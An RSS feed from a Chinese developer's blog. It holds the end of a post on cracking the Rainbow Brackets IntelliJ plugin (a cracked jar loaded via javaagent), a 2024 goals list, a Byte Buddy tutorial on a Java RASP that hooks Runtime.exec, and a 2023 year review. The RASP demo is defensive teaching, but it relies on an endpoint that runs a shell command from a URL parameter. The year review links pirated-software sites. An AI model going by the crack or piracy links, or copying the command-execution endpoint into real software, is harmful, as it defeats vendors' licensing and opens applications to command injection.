&lt;p&gt;成品代码位于 &lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-demo/tree/2024.2.6&quot;&gt;bytebuddy-agent-demo/rainbow-brackets-2024.2.6&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;成品位于 &lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-demo/releases/tag/2024.2.6&quot;&gt;rainbow-brackets-cracked.jar&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;唯一需要注意的就是这个破解插件必须放在 ja-netfilter 前面，不然就会报下面的错，暂时还没解决以及没弄懂产生的原因&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-javaagent:/Users/reajason/ReaJason/jetbra/rainbow-brackets-cracked.jar
-javaagent:/Users/reajason/ReaJason/jetbra/ja-netfilter.jar=jetbrains
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;逆向成就感始终没有开发的成就感多，开发一个小功能就很快有成就感，不过成就感似乎会随着项目开发周期慢慢递减，目前我的技术逆向全凭运气，没点运气，就卡住，然后不搞了，不过偶尔玩玩逆向还是挺好玩的。&lt;/p&gt;
&lt;p&gt;前前后后花费了大概两周的时间吧，中间走了很多弯路，可以说这是第二次做逆向吧，第一次是做小红书逆向的时候，那是玩 JS，这次 Java 中一上来混淆确实吓了一跳。总得来说还不是很熟悉，如果有更好的调试方式和逆向姿势，欢迎一起交流学习。希望有大佬能教教过 CF。&lt;/p&gt;
</content:encoded></item><item><title>2024 新年愿望</title><link>https://reajason.eu.org/writing/2024annualgoals/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2024annualgoals/</guid><pubDate>Fri, 09 Feb 2024 23:10:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;[ ] 学习 Rust 通过 Rust 学习系统知识，&lt;a href=&quot;https://os.phil-opp.com/&quot;&gt;用 Rust 写 OS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[ ] 使用 Rust 写一个 jvm attach 工具，参考 &lt;a href=&quot;https://github.com/jattach/jattach&quot;&gt;jattach&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[ ] 尝试学习研究解决 JVM RASP 中的一个痛点，安全防护相关。&lt;/li&gt;
&lt;li&gt;[x] 针对某一方面的漏洞写写一键利用脚本（渐渐对单纯的定点逆向失去了兴趣更喜欢工程化构建）&lt;/li&gt;
&lt;li&gt;[ ] 学习如何售卖一款产品，如何讲好一个故事&lt;/li&gt;
&lt;li&gt;[ ] 学习 AOP、可观测系统、链路追踪系统、架构设计等等，站在巨人的肩膀下尝试打造更通用的 &lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-quickstart&quot;&gt;Java Agent&lt;/a&gt;，并研究开源社区尝试社区驱动，maybe 参考 &lt;a href=&quot;https://github.com/LSPosed/LSPosed&quot;&gt;LSPosed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[ ] 去年跟着出口日语学习了五十音图，今年学习&lt;a href=&quot;https://www.youtube.com/playlist?list=PLynCeSdpMqxCW-AfMtmIlASAMUVq8wX6k&quot;&gt;《大家的日本语》&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[ ] 好好用 &lt;a href=&quot;https://github.com/xiaolai/everyone-can-use-english&quot;&gt;人人都能用英语&lt;/a&gt;、&lt;a href=&quot;https://byoungd.github.io/English-level-up-tips/#/&quot;&gt;离谱的英语学习指南&lt;/a&gt; 规划自己的英语学习（这个时代我们不缺学习资料，缺的就是勇于探索的心，过不了物质生活但是精神生活这块得拿下，语言学习似乎更多的是学习文化）&lt;/li&gt;
&lt;li&gt;[ ] 完善博客，好几个 Tab 页还是空着的呢（在手机上的展示似乎还有问题）&lt;/li&gt;
&lt;li&gt;[x] 不懂就问，多多利用 AI search engine 解决问题和学习知识。ChatGPT、&lt;a href=&quot;https://devv.ai&quot;&gt;devv.ai&lt;/a&gt;、&lt;a href=&quot;https://www.perplexity.ai&quot;&gt;perplexity.ai&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;[x] 希望少刷点流式 APP（能一直刷不停的 APP），打破信息茧房的第一步就是主动寻找，善用搜索引擎，享受健康美好生活&lt;/li&gt;
&lt;li&gt;[x] 学会几道大菜（炒了两年小菜该突破一下了），大鱼大肉，精进刀法，探索探索健康饮食&lt;/li&gt;
&lt;li&gt;[ ] 多几种宣泄情绪的方式，唱唱歌、跳跳舞？、锻炼身体？、弹吉他？&lt;/li&gt;
&lt;li&gt;[x] 做一个头发！染一个头发？&lt;/li&gt;
&lt;li&gt;[ ] 看看《经济学原理》再认识经济世界&lt;/li&gt;
&lt;li&gt;[ ] 在 YouTube 发布不少于 10 条视频（写稿，录音，剪辑）&lt;/li&gt;
&lt;li&gt;[ ] 月更博客（每月都写一篇博客，或者写 12 篇博客也许也行）&lt;/li&gt;
&lt;li&gt;[x] 去更多地方，吃更多好吃的&lt;/li&gt;
&lt;li&gt;[ ] 保护好身体少熬夜（今年不能过一年像过了三年一样老化）&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>使用 Byte Buddy 实现 Java RASP</title><link>https://reajason.eu.org/writing/javaraspwithbytebuddy/</link><guid isPermaLink="true">https://reajason.eu.org/writing/javaraspwithbytebuddy/</guid><pubDate>Sat, 03 Feb 2024 21:55:55 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;RASP 在代码层面进行攻击检测，提供了比 WAF 更准确的攻击检测。&lt;/li&gt;
&lt;li&gt;Java Agent 拥有修改类字节码的能力以及获取 JVM 中许多信息的能力。&lt;/li&gt;
&lt;li&gt;通过下文 RASP 代码实现，你可以使用 Byte Buddy（一个成熟的字节码修改框架）编写几行代码就能实现字节码修改&lt;/li&gt;
&lt;li&gt;推荐使用成熟的 &lt;a href=&quot;https://www.boundaryx.com/category/product/adr&quot;&gt;靖云甲 RASP&lt;/a&gt;  产品加固应用安全&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;RASP&lt;/h2&gt;
&lt;p&gt;RASP 是 &lt;a href=&quot;https://en.wikipedia.org/wiki/Runtime_application_self-protection&quot;&gt;Runtime application self-protection&lt;/a&gt;（运行时应用自我保护）的缩写，是一种应用程序安全技术。RASP 技术能够在应用程序运行时检测并阻止应用级别的攻击。随着云计算和大数据的发展，应用程序安全越来越受到重视。RASP 技术作为一种新型的安全防护手段，正在逐渐被业界接受并广泛应用。Java RASP 注入到应用程序中可采集到流量信息、堆栈信息、方法参数、对象实例等信息进行攻击检测，误报率比起 &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_application_firewall&quot;&gt;web application firewall (WAF)&lt;/a&gt; 更低。&lt;/p&gt;
&lt;p&gt;在刚一接触这个概念的时候，我就想到了计算机网络中的 &lt;a href=&quot;https://en.wikipedia.org/wiki/Software-defined_networking&quot;&gt;Software-defined networking (SDN)&lt;/a&gt; 软件定义网络，通过添加新的一层控制层，管理路由器网络流量的转发。RASP 即在 Java 代码中添加一层，管控代码的执行。好比设计模式中的代理模式，也同理于 JavaEE 中 Servlet Filter 设计，Spring Interceptor 设计，属于 AOP 的范畴，只不过 RASP 是基于 Java Agent 实现的 AOP 更加底层，在 Java 应用程序中更具有通用性，可以是 Web 应用也可以是 Desktop 应用。&lt;/p&gt;
&lt;h2&gt;Java Agent&lt;/h2&gt;
&lt;p&gt;Java Agent 拥有在 class 文件加载到 JVM 中拦截修改字节码，也可在运行时对已加载类的字节码做变更，能够获取 JVM 中所有已加载的类，能够获取对象的大小，能将 jar 包使用 BootstrapClassloader 加载等等能力。简而言之，可以让我们在程序运行期间打补丁，可修复程序逻辑 bug，可用于组件升级，可用于漏洞安全补丁等等。&lt;/p&gt;
&lt;p&gt;JVMTI 全称 JVM Tool Interface，是 JVM 暴露出来的一些供用户扩展的接口集合。JVMTI 是基于事件驱动的，JVM 每执行到一定的逻辑就会调用一些事件的回调接口（如果有的话），这些接口可以供开发者扩展自己的逻辑。其中就封装了 Java Instrumentation API。Java Agent 是通过 Java Instrumentation API 支持 premain（启动时加载） 和 agentmain（运行时加载）两种方式注入对 JVM 字节码进行修改。&lt;/p&gt;
&lt;p&gt;许多开源项目，例如 &lt;a href=&quot;https://github.com/apache/skywalking-java&quot;&gt;SkyWalking(APM 性能监控)&lt;/a&gt;、&lt;a href=&quot;https://github.com/async-profiler/async-profiler&quot;&gt;async-profiler(性能分析)&lt;/a&gt;、&lt;a href=&quot;https://github.com/alibaba/arthas&quot;&gt;Arthas(诊断工具)&lt;/a&gt;、&lt;a href=&quot;https://github.com/btraceio/btrace&quot;&gt;BTrace(链路追踪工具)&lt;/a&gt; 等等都是使用的 Java Agent 技术，我们可能会有使用到的时候，理解其中的实现原理有利于我们更好地使用这些工具。&lt;/p&gt;
&lt;p&gt;学习 Java Agent 我们最关心的是如何在指定类方法插入我们的代码，&lt;a href=&quot;https://asm.ow2.io/&quot;&gt;ASM&lt;/a&gt; 对于字节码的修改提供了完全的支持，不过使用它需要我们对字节码足够了解。&lt;a href=&quot;https://bytebuddy.net/#/&quot;&gt;Byte Buddy&lt;/a&gt; 对 ASM 进行了封装，为我们屏蔽了字节码的修改相关细节，正符合我们 Java 初学者的胃口。&lt;/p&gt;
&lt;h2&gt;RASP 实现&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;JDK8 + IDEA + Gradle + Byte Buddy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前面简单介绍了一下相关技术，以下 RASP 实现我会面向一个 Java 初学者来编写（我也才刚学两年的 Java），因此它需要你：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;使用过 Java 编写过程序，Hello World 行，不过最好是 Web 应用&lt;/li&gt;
&lt;li&gt;使用过 IDEA 编写过 Java 项目（开发环境统一，好查问题）&lt;/li&gt;
&lt;li&gt;处在良好的网络环境下（编程开发往往最劝退的地方正是由于网络环境的问题导致一直卡在搭建开发环境）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不必&lt;/strong&gt;拥有网络安全相关的知识&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此 RASP 实现的主要实现如下一个功能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;支持本地命令执行的获取和检测&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;项目初始化&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;打开 IDEA，使用如下仓库进行初始化 &lt;code&gt;https://github.com/JAgentSphere/bytebuddy-agent-demo.git&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;等待 IDEA 初始化完成，设置项目使用 JDK8，然后打开 Gradle 面板，执行 jar 命令打包程序，看一遍 README。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;打开命令行，前往 test 目录下执行如下命令即可看到预期结果，可知 Java Agent 启动时间是在应用之前的。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;访问 &lt;code&gt;http://localhost:8080/index/shell?cmd=whoami&lt;/code&gt; 即可回显当前登录电脑登录用户名。
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;添加本地命令执行检测&lt;/h3&gt;
&lt;p&gt;我们在 SpringBoot 的 demo 程序中实现了一个命令执行的用例。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如果需要对其检测，那么我们需要对 &lt;code&gt;java.lang.Runtime#exec(java.lang.String)&lt;/code&gt; 进行拦截。我们回到 Main 入口类，添加如下代码：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这段代码的含意就是，hook 类名称等于 &lt;code&gt;java.lang.Runtime&lt;/code&gt; 并且方法名为 &lt;code&gt;exec&lt;/code&gt; 且参数个数为 1 个，对其执行 &lt;code&gt;RuntimeExecInterceptor&lt;/code&gt; 的拦截器字节码修改逻辑（即在方法执行前添加一个输出）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;agentBuilder.type(ElementMatchers.named(&quot;java.lang.Runtime&quot;))
    .transform(((builder, typeDescription, classLoader, module, protectionDomain) -&amp;gt;
            builder.visit(
                    Advice.to(RuntimeExecInterceptor.class)
                            .on(ElementMatchers.named(&quot;exec&quot;)
                                    .and(ElementMatchers.takesArguments(1)))
            ))).installOn(inst);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行 Gradle 面板的 jar 命令进行代码编译和打包，然后继续前往 test 目录下执行 &lt;code&gt;java -jar -javaagent:agent.jar demo.jar&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;此时每一次访问 &lt;code&gt;http://localhost:8080/index/shell?cmd=whoami&lt;/code&gt;，在控制台都会打印一句话。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;查看 test/weaving 目录下，可查看字节码修改后的类，可知符合修改预期，本来这个方法是没有这一句的，我们使用 Java Agent 将这个语句打印给成功注入进去了，之后我们就需要考虑到如何获取到执行的这个参数了，Byte Buddy 已经为我们做好了这件事情了~。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;@Advice.AllArguments&lt;/code&gt; 注解放在这里，Byte Buddy 会把方法的参数都放入到 args 里面，有方法签名可知，args[0] 就是我们需要的命令参数，编译之后执行，即可看到命令参数的打印。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;拿到参数我们就能执行一些我们的检测算法了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static class RuntimeExecInterceptor {
    @Advice.OnMethodEnter
    public static void interceptor(@Advice.AllArguments Object[] args) {
        System.out.println(&quot;Runtime.exec is invoked&quot;);
        String command = (String) args[0];
        System.out.println(&quot;Runtime.exec arg is &quot; + command);

        // 方法参数的判断, 执行 whoami 会在这儿抛出异常
        if (&quot;whoami&quot;.equals(command)) {
            throw new SecurityException(&quot;the command whoami is prohibited in this env&quot;);
        }

        // 获取堆栈执行上下文进行特定的判断
        List&amp;lt;String&amp;gt; stackTraces = Arrays.stream(new Throwable().getStackTrace()).limit(100)
                .map(StackTraceElement::toString).collect(Collectors.toList());

        // 所有的命令都会被阻断，因为堆栈中包含了这个
        for (String stackTrace : stackTraces) {
            if (stackTrace.contains(&quot;com.jas.web.demo.IndexController.cmd&quot;)) {
                throw new SecurityException(&quot;exec command with dangerous stack&quot;);
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;RASP 因为其拥有比 WAF 更实时和更准确的检测能力、支持内存马清除和有效防御 0day 漏洞等特性，越来越多的人开始使用 RASP。&lt;/p&gt;
&lt;p&gt;当前简易的 Demo 只适合用来测试，例如此 Demo 不允许在 interceptor 中引用自定义的类，代码执行过程中会报 &lt;code&gt;ClassNotFoundException&lt;/code&gt;，对于一个成熟的 Java Agent 目前还是不够的，如果想深入学习可以前往 &lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-quickstart&quot;&gt;bytebuddy-agent-quickstart&lt;/a&gt;，在这里我会分享一个工程化 Agent 需要的所有东西（我所知道的，我也目前在学习中，hhh），例如代码的设计封装原理细节、日志系统、插件系统、更新机制、自我观测（指标采集）等等，可能偶尔分享一些特定场景下的漏洞攻击检测。&lt;/p&gt;
&lt;h2&gt;延伸阅读&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/yfrz9cIsindPZMYRE7Buww&quot;&gt;从 CVE-2023-49070 看 RASP 的 0Day 防御（去年写的 RASP 相关文章）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tech.meituan.com/2024/01/19/runtime-application-self-protection-practice-in-meituan.html&quot;&gt;美团 RASP 大规模研发部署实践总结&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.infoq.cn/article/javaagent-illustrated&quot;&gt;JVM 源码分析之 javaagent 原理完全解读&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>2023 年度总结</title><link>https://reajason.eu.org/writing/2023annualsummary/</link><guid isPermaLink="true">https://reajason.eu.org/writing/2023annualsummary/</guid><pubDate>Mon, 25 Dec 2023 22:20:53 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;改变，就是好事 —— 英雄联盟，卡兹克&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;TL;DR&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;换了新工作，入门了 Java Web 网络安全，享受周围全是大佬的工作氛围&lt;/li&gt;
&lt;li&gt;学会了盲打，终于改正了自己的打字姿势，不用盯着键盘打字了（刚开始学的时候打 LOL 时 qwer df 乱按，后面好了，直接不玩了）&lt;/li&gt;
&lt;li&gt;写了开源工具 xhs，一个小红书 web 端爬虫工具，可获取无水印图文和视频链接&lt;/li&gt;
&lt;li&gt;24岁以来第一次坐飞机的一年就飞了 5 次，芜湖，起飞 🛫&lt;/li&gt;
&lt;li&gt;去了很多地方，吃了很多好吃的，办了护照就跑去香港和澳门了&lt;/li&gt;
&lt;li&gt;买了 MacBook Pro(M3 Pro)，获得了 reajason.com 域名&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;廉价劳动力&lt;/h3&gt;
&lt;p&gt;上半年里，调侃自己的一句“2000块招不来一个清洁工，但是可以招来一个Java开发工程师”成为了我最频繁挂在嘴边的笑谈。四月份结束了长达半年的自学实习生涯，这段时间里，我努力学习了许多东西，Java 从入门到入土，Vue 从入门到入土，成功掌握了前后端基础业务开发，最终顺利转正。&lt;/p&gt;
&lt;p&gt;在繁忙的业务需求中，很难有时间深思如何更好地完成任务，常常是匆匆忙忙地编写代码。在这个过程中，我切身体验到了实际开发的种种挑战。尽管如此，下班后我仍会投入时间学习其他领域，写写 Python爬虫，深入研究操作系统和计算机网络，做一些让自己开心的事情。&lt;/p&gt;
&lt;p&gt;然而，一个后续需求让我感到力不从心，即迁移金蝶OA的财务功能。由于通常的业务开发主要面向数据库编程，看到公司大佬糟糕的数据库设计，我对业务又不太了解，难以提出良好的建议。项目经理每天都在催促功能开发，我感到一天比一天艰难，逐渐失去了对自己工作的方向感。然而，幸运的是，身边的同事和总监对我非常重视。一次偶然的小红书吐槽让我被网安公司的大佬注意到（&lt;a href=&quot;/writing/firsttechnicalinterview&quot;&gt;记第一次技术面&lt;/a&gt;），于是我踏上了网安领域的新征程。&lt;/p&gt;
&lt;h3&gt;新工作&lt;/h3&gt;
&lt;p&gt;在老大的悉心指导下，我从零开始学习 Java Web 网络安全，如今已经成为一个熟练的工程师。（&lt;a href=&quot;/writing/20230522weekly&quot;&gt;周报&lt;/a&gt;、&lt;a href=&quot;/writing/202306monthly&quot;&gt;月报&lt;/a&gt;），而且还获得了新域名  &lt;a href=&quot;https://reajason.com&quot;&gt;reajason.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最初的日子，我每天通勤三个多小时，早上七点起床做饭，八点出发，几乎到公司就是 10 点。地铁上，起初我会抓紧时间阅读书籍，后来就一直变成刷 B 站了。晚上六点半下班，九点才能到家。不过九月份我搬到了公司附近，骑行只需 20 分钟，摆脱了通勤的烦恼。&lt;/p&gt;
&lt;p&gt;由于这几个月都是自己做饭，中午独自用餐，上班时专注于工作，很少闲聊。基本上都在学习和写代码，不需要特别多的交流。有时候会感到一点点压抑。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/ReaJason_/status/1682426745109217280&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在与同事熟悉后，我有了一些称呼，如平哥、平总、剑平哥等。这其中后面两个是新获得的称呼，hhhhhhhh。有一个哥们每天下午固定会下去散步唠唠嗑，碰巧他在一个小团体里。通过一次聚餐的邀请，我加入了微信群，认识了两个女同事。我们在闲暇时会聊天，她们说我刚来时每天自己带饭，都没法认识一下，听起来特别搞笑。后来，我们几个人经常在周五一起出去吃饭，周末会一起外出玩耍，打打球。&lt;/p&gt;
&lt;p&gt;然而，好景不长，这位哥们被裁员了，我一度在公司又成为了一个人。这个过程充满了起伏，但也让我更深刻地理解了工作和人际关系的复杂性。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/ReaJason_/status/1721547683696140687&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;八卦环节&lt;/h3&gt;
&lt;p&gt;不知从何时开始，每次打游戏都伴随着一阵猛烈的自我责备和贬低，让我开始对游戏失去了兴趣。因为觉得自己水平太差、表现太糟，玩游戏成了一种负担，不过还是间歇性想玩。偶尔上上号也是和老朋友叙叙旧，聊聊天。&lt;/p&gt;
&lt;p&gt;游戏对我来说一直是一种社交属性比较强的东西，小时候玩游戏就是为了和其他男生有共同话题能玩在一起，现在想起来简直就是社会认同心理在作祟。&lt;/p&gt;
&lt;p&gt;如今我更愿意和女生聊聊剧、分享好吃的，觉得比和男生讨论游戏更有趣。因此经常和女同事一起吃午饭，偶尔撞见领导啥的还调侃一句渣男巴拉巴拉。&lt;/p&gt;
&lt;p&gt;最近和好朋友聊天，谈及职场八卦，感觉到有些令人唏嘘。在中国，结婚似乎是一个到了某个时间节点必须做的事情，不管合适与否，这种观念让人感到无奈。&lt;/p&gt;
&lt;p&gt;对于一个直男来说，被形容成渣男、海王似乎是一种奇特的褒奖。还是忍不住推荐一下&lt;a href=&quot;https://keepcalm.banlan.show/&quot;&gt;《保持冷静》&lt;/a&gt; —— 在没有性教育的国度，我们只能自我教育。&lt;/p&gt;
&lt;h3&gt;特别的一次国庆&lt;/h3&gt;
&lt;p&gt;特别的一次国庆，我提前放了假，带了两盒稻香村回家，一盒给了奶奶，一盒给了外婆。家里正在建房子，住在路边着实有一点难受，洗澡在别人家洗，过年回家应该有地下室可以住了。&lt;/p&gt;
&lt;p&gt;晚上会陪奶奶走路送她去别人家和别的老奶奶一起住。&lt;/p&gt;
&lt;p&gt;因为家里在建房，我去外婆家弄些菜过来做饭。当天晚上，我邀请外婆一起吃饭，但她不肯来。我问她是不是因为淋菜之类的事，但外婆一直没说。于是我一个人默默地去担水淋菜，外婆则忙着给我炸红薯片吃。弄完菜后，我邀请外婆一起到我家吃饭，并答应晚点送她回家。&lt;/p&gt;
&lt;p&gt;吃完晚饭后，我送外婆回家，在外婆家聊了很久。我们谈到了婚姻幸福的话题。我告诉外婆，我可能永远都不会结婚，结婚并不是幸福的唯一途径，人不一定要结婚才能获得幸福，即便结了婚也未必就会幸福。外婆也同意我的看法。她是基督教徒，我回家前还告诉我她会向上帝祈祷，祝愿我找到幸福的姻缘。我笑着说好的好的。（相比之下，我对我妈说我不想结婚，她的抗拒心态更为强烈。）&lt;/p&gt;
&lt;p&gt;有一天晚上，我和高中同学约了我们的班主任一起吃烧烤，本来是件令人愉快的事情，但因为男性长辈太多，变成了我最不喜欢的酒桌文化。我更愿意和女生聊八卦，而不愿和男生喝酒（对我来说毫无乐趣），即使工作中也不太想参与酒局（今年的年会也打算少喝酒）。&lt;/p&gt;
&lt;p&gt;最后两天去了郴州找好兄弟一起玩，简直就是大型网友面基现场，第一天中午吃了猪脑壳饭，晚上一起网吧三连坐，第二天吃了杀猪粉，一起打了台球，吃了火锅，晚上又吃了烧烤。&lt;/p&gt;
&lt;h3&gt;耗时一个月我终于学会了盲打&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;练习网站：&lt;a href=&quot;https://www.typingclub.com/sportal/&quot;&gt;https://www.typingclub.com/sportal/&lt;/a&gt;
总练习时长：12h，掌握了键盘 97% 的键位&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;练习打字是一直以来就想做的事情但是一直没有行动，逛大佬的博客才有了练打字的决心（目前的博客样式也是来自于他的 - GitHub 前设计师） - &lt;a href=&quot;https://brianlovin.com/writing/type-faster&quot;&gt;Typing fast is a high-leverage skill&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;没有其他经验分享，跟着教程就好。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;其他打字相关网站：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.typing.com/student/lessons&quot;&gt;https://www.typing.com/student/lessons&lt;/a&gt; - 这个网站也适合入门学习&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://qwerty.kaiyi.cool/&quot;&gt;https://qwerty.kaiyi.cool/&lt;/a&gt; - 打字学英语&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.keybr.com/&quot;&gt;https://www.keybr.com/&lt;/a&gt; - 这个在学完整个键盘如何打字之后可用于练习&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://play.typeracer.com/&quot;&gt;https://play.typeracer.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://10fastfingers.com/&quot;&gt;https://10fastfingers.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;写了开源项目&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/ReaJason/xhs&quot;&gt;ReaJason/xhs&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这是一个用于爬取小红书网页端数据的 Python 小工具，也可发笔记。最初是看到在 GitHub 没有人分享，就想着刚好没人做，就自己写一个好玩了，这个项目带我认识到很多人，有专门搞各个平台数据分析精通 jsvmp 反混淆的大佬，有做 AI 创业公司大佬来找我一起交流，也有网上开发爱好者拉我进群聊，还有愿意共享给我高价买到的最新算法，还有很多通过项目去我博客逛和我在 TG 聊天的等等。当前项目后续可能只有一个演进方向了，就是用分布式爬虫框架搭一套数据采集平台了。明年我也要做一个开源项目，大概率是网络安全方向的啦！期待有做安全的师傅一起交流网络安全经验~&lt;/p&gt;
&lt;h3&gt;读过的&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;《白帽子讲web安全》配合 &lt;a href=&quot;https://www.javasec.org/&quot;&gt;JavaSec&lt;/a&gt; 入门了 Java Web 网络安全基础&lt;/li&gt;
&lt;li&gt;《被讨厌的勇气》这是一本被标题耽误的阿德勒心理学入门，我几年前就曾收藏但一直没看，真的超级推荐~，去年的《蛤蟆先生去看心理医生》让我知道了自己某些心理是受儿童时代的影响，告诉了我某些心理如何去寻找其中的原因，而这本书告诉了我该如何做，其中讲述的自我接纳，过去已经过去，未来是不确定性，而此时此刻正是我们掌控的，改变的勇气，自我价值，获取幸福，一切烦恼来自人际关系等等，看完整个人充满了能量，内容丰富又实用拿起书赶紧阅读起来吧，&lt;a href=&quot;https://lingsiki.lanzouw.com/i3n8x1ig63af&quot;&gt;ここ&lt;/a&gt;。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://justinyan.me/post/5790&quot;&gt;《每个人每天都只有24小时，希望我的选择真的是我的选择》&lt;/a&gt;，逢人就推荐，很幸运在寻求自我的道路上看到这篇文章，坚定了我的信念，希望大家早日找到自己所热爱的，幸福生活每一天，不忘初心。&lt;/li&gt;
&lt;li&gt;《影响力》也是一本收藏了很久却没有读完的书，以前读过，其中更像是防骗指南，讲述某些人通过顺从心理、承诺、言行一致等等力量来使其他人不自觉地做某事，就像某种播放按钮，按了就播放的奇妙力量。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/training/paths/rust-first-steps/&quot;&gt;使用 Rust 迈出第一步&lt;/a&gt; 简单入门了 Rust，希望后续还有机会再接触接触&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cocopilot.org/dash&quot;&gt;cocopilot&lt;/a&gt;，白嫖 GitHub copilot&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chat-shared2.zhile.io/shared.html&quot;&gt;chat-shared2&lt;/a&gt;，白嫖 GPT4&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://excalidraw.com/&quot;&gt;excalidraw&lt;/a&gt;，画图工具，图文并茂的文章更让人有阅读欲望&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://appstorrent.ru/&quot;&gt;Mac Cracked App&lt;/a&gt;，白嫖怪总是能找到站点下破解应用，老毛子的网站还是值得信任，国内垃圾转载收钱站点太多了。&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://44maker.github.io/wiki/Mac/index.html#start&quot;&gt;Mac 配置教程&lt;/a&gt;，工欲善其事，必先利其器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;看过的&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://space.bilibili.com/202224425/channel/collectiondetail?sid=1116786&amp;amp;ctype=0&quot;&gt;2023 南京大学 “操作系统：设计与实现” (蒋炎岩)&lt;/a&gt;，jyy yyds！寓教于乐的老师狠狠地爱了，有时间还会刷他的 OS 课，争取明年学 RUST 写 OS 的时候再来温习温习。&lt;/li&gt;
&lt;li&gt;《云之羽》、《苍兰诀》 - 偶尔磕磕 CP 还是不错的，苍兰诀真的是我心中古装天花板，太好磕了！&lt;/li&gt;
&lt;li&gt;《进击的巨人 最终季 完结篇》之前漫画结局出来各种吐槽的，不过我是动画党，这次的完结篇真的超级好看，很多难以解释的事情居然有了合理的解释！&lt;/li&gt;
&lt;li&gt;《咒术回战 第二季》还是一如既往的好看&lt;/li&gt;
&lt;li&gt;《想要成为影之实力者！》55555，这个番看得真的好爽，爽番&lt;/li&gt;
